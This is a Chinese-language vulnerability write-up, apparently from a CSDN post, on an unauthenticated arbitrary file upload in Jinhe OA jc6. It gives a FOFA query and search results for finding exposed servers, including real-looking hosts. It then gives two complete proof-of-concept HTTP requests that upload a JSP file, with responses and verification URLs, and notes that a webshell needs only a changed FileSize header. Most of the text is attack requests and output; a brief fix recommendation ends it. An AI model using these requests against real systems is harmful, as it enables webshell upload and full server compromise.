

J1-15金和-OA-文件上传

漏洞描述：

金和OA jc6系统uploadFileForJinht接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA: app="金和网络-金和OA"

FOFA

app="金和网络-金和OA"

安全工具专题

会员

773 条匹配结果 (169 条独立IP), 372 ms , 关键词搜索。

显示一年内数据, 点击 all 查看所有。

智能排除蜜罐/仿冒数据 1 条, 点击查看。

网站指纹排名

IT/WD... 489

CBM... 86

FACsd... 23

hPmp... 22

I7WSL... 20

国家/地区排名

>> 中国 769

>> 美国 2

>> 中国香港... 1

113.105.8.bu

中国

ASN: 4134

组织: Chinanet

improve-medical.com

2024-01-03

Apache-Coyote/1.1

Header

Products

HTTP/1.1 200 OK

Connection: close

Transfer-Encoding: chunked

Content-Language: zh-CN

Content-Type: text/html; charset=UTF-8

Date: Wed, 03 Jan 2024 10:06:31 GMT

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=A55952324032B5B270D0F18D624

Set-Cookie: Secure;HttpOnly;Expires=03-01-2024 19:06:31;

+ Certificate

漏洞复现：

payload:

```
POST /jc6/JHSoft.WCF/Attachment/uploadFileForJinht HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
UploadFileName: 1.jsp
FileSize: 40
StartPosition: 0
isFromMobilePhone: 1

<% out.println("Hello, World!"); %>
```

效果图：

PS：上传webshell需要修改请求头 FileSize长度

Request

1 POST /jc6/JHSoft.WCF/Attachment/uploadFileForJinht HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

7 Connection: close

8 UploadFileName: 1.jsp

9 FileSize: 40

10 StartPosition: 0

11 isFromMobilePhone: 1

12

13 <% out.println("Hello, World!"); %>

Responses 172bytes / 53ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Content-Type: text/html; charset=utf-8

4 Date: Wed, 03 Jan 2024 10:31:28 GMT

5 Connection: close

6 Content-Length: 172

7

8 {"attachmentId":"","fileName":"","localUr1downloadFileForJinht?attachmentId=402881b1jsp","status":""}

验证url

/jc6/upload/1.jsp

Hello World

CSDN @OldBoy_G

PoC-2

```
POST /jc6/JHSoft.WCF/Attachment/UploadFile HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
UploadFileName: 2.jsp
FileSize: 40
StartPosition: 0

<% out.println("Hello, World!"); %>
```

Request

数据包扫描

热加载

构造请求

⋮

1

POST /jc6/JHSoft.WCF/Attachment/UploadFile HTTP/1.1

2

Host: your-ip

3

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5

Accept-Encoding: gzip, deflate

6

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

7

Connection: close

8

UploadFileName: 2.jsp

9

FileSize: 40

10

StartPosition: 0

11

12

<%out.println("Hello, World!"); %>

Responses

272bytes / 36ms

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Content-Type: text/html; charset=utf-8

4

Date: Wed, 03 Jan 2024 10:31:36 GMT

5

Connection: close

6

Content-Length: 272

7

8

{ "attachmentId": "402881b18c9f1005018ccee0122.112.180.162:80/jc6/download/downloadIo", "attachmentId=402881b18c9f1005018ccee0edd6", "fileName=2.jsp", "status":"" }

验证url

/jc6/upload/2.jsp

Hello, World!

CSDN @OldBoy_G

修复建议:

立即修复金和OA jc6系统的uploadFileForJinht接口，增加身份验证和文件类型限制，以防止未授权的任意文件上传。